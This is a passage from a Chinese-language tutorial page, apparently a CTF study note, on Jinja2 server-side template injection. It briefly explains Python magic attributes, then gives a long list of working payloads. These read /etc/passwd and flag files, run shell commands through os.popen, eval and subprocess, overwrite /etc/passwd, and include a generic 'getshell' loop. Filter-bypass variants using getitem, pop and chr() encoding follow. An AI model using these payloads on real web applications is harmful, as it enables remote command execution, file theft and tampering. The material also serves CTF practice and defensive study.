</span>返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">__base__ <span class="cm-tab" role="presentation" cm-text=" "> </span><span class="cm-tab" role="presentation" cm-text=" "> </span>返回一个类所继承的基类 # __base__和__mro__都是用来寻找基类的</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用列表</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">__init__ <span class="cm-tab" role="presentation" cm-text=" "> </span><span class="cm-tab" role="presentation" cm-text=" "> </span>类的初始化方法</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">__globals__ <span class="cm-tab" role="presentation" cm-text=" "> </span>对包含函数全局变量的字典的引用</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 138px;"></div><div class="CodeMirror-gutters" style="display: none; height: 138px;"></div></div></div></pre><p><span>通过这些魔术方法的组合构造,就可以最大限度的执行到各种危险方法,比如读文件、执行系统命令。关于魔术方法的更多了解可请参考</span><a href='https://blog.csdn.net/spiritx/article/details/132590256' target="_blank"><span>CSDN-Python魔术方法</span></a><span>和Python反序列化漏洞部分。</span></p></li></ul></li></ul><p></br></p><ul><li><p><strong><span>JinJa2模板常见测试Payload</span></strong></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="jinja2" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="jinja2"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"># 读文件</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#读取文件类,<type ‘file’> file位置一般为40,直接调用</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">40</span><span class="cm-variable">](</span><span class="cm-string">'flag'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">40</span><span class="cm-variable">](</span><span class="cm-string">'etc/passwd'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">40</span><span class="cm-variable">](</span><span class="cm-string">'etc/passwd'</span><span class="cm-variable">).readlines()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">257</span><span class="cm-variable">](</span><span class="cm-string">'flag'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span> (python3)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#直接使用popen命令,python2是非法的,只限于python3</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">os._wrap_close 类里有popen</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'popen'</span><span class="cm-variable">](</span><span class="cm-string">'whoami'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">].__init__.__globals__.popen(</span><span class="cm-string">'whoami'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#调用os的popen执行命令</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#python2、python3通用</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">71</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'ls'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">71</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'ls /flag'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">71</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'cat /flag'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__base__.__subclasses__()[</span><span class="cm-number">185</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'__import__'</span><span class="cm-variable">](</span><span class="cm-string">'os'</span><span class="cm-variable">).popen(</span><span class="cm-string">'cat /flag'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">250</span><span class="cm-variable">].__init__.__globals__.__builtins__.__import__(</span><span class="cm-string">'os'</span><span class="cm-variable">).popen(</span><span class="cm-string">'id'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">250</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'__import__'</span><span class="cm-variable">](</span><span class="cm-string">'os'</span><span class="cm-variable">).popen(</span><span class="cm-string">'id'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">250</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'whoami'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#python3专属</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">75</span><span class="cm-variable">].__init__.__globals__.__import__(</span><span class="cm-string">'os'</span><span class="cm-variable">).popen(</span><span class="cm-string">'whoami'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__base__.__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'ls /'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#调用eval函数读取</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#python2</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">](</span><span class="cm-string">"__import__('os').popen('ls').read()"</span><span class="cm-variable">)</span><span class="cm-tag">}}</span> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__mro__[-1].__subclasses__()[</span><span class="cm-number">60</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">](</span><span class="cm-string">'__import__("os").system("ls")'</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__mro__[-1].__subclasses__()[</span><span class="cm-number">61</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">](</span><span class="cm-string">'__import__("os").system("ls")'</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__mro__[-1].__subclasses__()[</span><span class="cm-number">29</span><span class="cm-variable">].__call__(eval,</span><span class="cm-string">'os.system("ls")'</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#python3</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">().__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">75</span><span class="cm-variable">].__init__.__globals__.__builtins__[</span><span class="cm-string">'eval'</span><span class="cm-variable">](</span><span class="cm-string">"__import__('os').popen('id').read()"</span><span class="cm-variable">)</span><span class="cm-tag">}}</span> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__mro__[</span><span class="cm-number">2</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.func_globals.values()[</span><span class="cm-number">13</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">]</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__mro__[-1].__subclasses__()[</span><span class="cm-number">117</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">]</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">250</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">](</span><span class="cm-string">"__import__('os').popen('id').read()"</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">250</span><span class="cm-variable">].__init__.__globals__.__builtins__.eval(</span><span class="cm-string">"__import__('os').popen('id').read()"</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__base__.__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'eval'</span><span class="cm-variable">](</span><span class="cm-string">'__import__("os").popen("ls /").read()'</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#调用 importlib类</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__base__.__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">][</span><span class="cm-string">"load_module"</span><span class="cm-variable">](</span><span class="cm-string">"os"</span><span class="cm-variable">)[</span><span class="cm-string">"popen"</span><span class="cm-variable">](</span><span class="cm-string">"ls /"</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#调用linecache函数</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__base__.__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'linecache'</span><span class="cm-variable">][</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'ls /'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'linecache'</span><span class="cm-variable">][</span><span class="cm-string">'os'</span><span class="cm-variable">].popen(</span><span class="cm-string">'ls'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">[].__class__.__base__.__subclasses__()[</span><span class="cm-number">168</span><span class="cm-variable">].__init__.__globals__.linecache.os.popen(</span><span class="cm-string">'ls /'</span><span class="cm-variable">).read()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#调用communicate()函数</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__base__.__subclasses__()[</span><span class="cm-number">128</span><span class="cm-variable">](</span><span class="cm-string">'whoami'</span><span class="cm-variable">,shell</span><span class="cm-operator">=</span><span class="cm-variable">True,stdout</span><span class="cm-operator">=</span><span class="cm-variable">-1).communicate()[</span><span class="cm-number">0</span><span class="cm-variable">].strip()</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#写文件</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">""</span><span class="cm-variable">.__class__.__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__bases__[</span><span class="cm-number">0</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">40</span><span class="cm-variable">](</span><span class="cm-string">'/tmp'</span><span class="cm-variable">).write(</span><span class="cm-string">'test'</span><span class="cm-variable">)</span><span class="cm-tag">}}</span> ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__mro__[</span><span class="cm-number">2</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">][</span><span class="cm-string">'file'</span><span class="cm-variable">](</span><span class="cm-string">'/etc/passwd'</span><span class="cm-variable">).write(</span><span class="cm-string">'123456'</span><span class="cm-variable">)</span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#通用 getshell</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">原理就是找到含有 __builtins__ 的类,然后利用。</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> for</span><span class="cm-variable"> c</span><span class="cm-keyword"> in</span><span class="cm-variable"> [].__class__.__base__.__subclasses__() </span><span class="cm-tag">%}{%</span><span class="cm-keyword"> if</span><span class="cm-variable"> c.__name__</span><span class="cm-operator">==</span><span class="cm-string">'catch_warnings'</span><span class="cm-variable"> </span><span class="cm-tag">%}{{</span><span class="cm-variable"> c.__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">].eval(</span><span class="cm-string">"__import__('os').popen('whoami').read()"</span><span class="cm-variable">) </span><span class="cm-tag">}}{%</span><span class="cm-keyword"> endif</span><span class="cm-variable"> </span><span class="cm-tag">%}{%</span><span class="cm-keyword"> endfor</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> for</span><span class="cm-variable"> c</span><span class="cm-keyword"> in</span><span class="cm-variable"> [].__class__.__base__.__subclasses__() </span><span class="cm-tag">%}{%</span><span class="cm-keyword"> if</span><span class="cm-variable"> c.__name__</span><span class="cm-operator">==</span><span class="cm-string">'catch_warnings'</span><span class="cm-variable"> </span><span class="cm-tag">%}{{</span><span class="cm-variable"> c.__init__.__globals__[</span><span class="cm-string">'__builtins__'</span><span class="cm-variable">].open(</span><span class="cm-string">'filename'</span><span class="cm-variable">, </span><span class="cm-string">'r'</span><span class="cm-variable">).read() </span><span class="cm-tag">}}{%</span><span class="cm-keyword"> endif</span><span class="cm-variable"> </span><span class="cm-tag">%}{%</span><span class="cm-keyword"> endfor</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 2326px;"></div><div class="CodeMirror-gutters" style="display: none; height: 2326px;"></div></div></div></pre></li></ul><p></br></p><ul><li><p><strong><span>常见绕过方法</span></strong></p><ul><li><p><span>过滤[</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="jinja2"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="jinja2"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment">{# getitem、pop #}</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable"> </span><span class="cm-string">''</span><span class="cm-variable">.__class__.__mro__.__getitem__(</span><span class="cm-number">2</span><span class="cm-variable">).__subclasses__().pop(</span><span class="cm-number">40</span><span class="cm-variable">)(</span><span class="cm-string">'/etc/passwd'</span><span class="cm-variable">).read() </span><span class="cm-tag">}}</span></span></pre><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">.__class__.__mro__.__getitem__(</span><span class="cm-number">2</span><span class="cm-variable">).__subclasses__().pop(</span><span class="cm-number">59</span><span class="cm-variable">).__init__.func_globals.linecache.os.popen(</span><span class="cm-string">'ls'</span><span class="cm-variable">).read() </span><span class="cm-tag">}}</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 115px;"></div><div class="CodeMirror-gutters" style="display: none; height: 115px;"></div></div></div></pre></li><li><p><span>过滤引号</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="jinja2"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="jinja2"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment">{# chr函数 #}</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-variable"> set chr</span><span class="cm-operator">=</span><span class="cm-variable">().__class__.__bases__.__getitem__(</span><span class="cm-number">0</span><span class="cm-variable">).__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.__globals__.__builtins__.chr </span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">().__class__.__bases__.__getitem__(</span><span class="cm-number">0</span><span class="cm-variable">).__subclasses__().pop(</span><span class="cm-number">40</span><span class="cm-variable">)(chr(</span><span class="cm-number">47</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">101</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">116</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">99</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">47</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">112</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">97</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">115</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">115</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">119</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">100</span><span class="cm-variable">)).read()</span><span 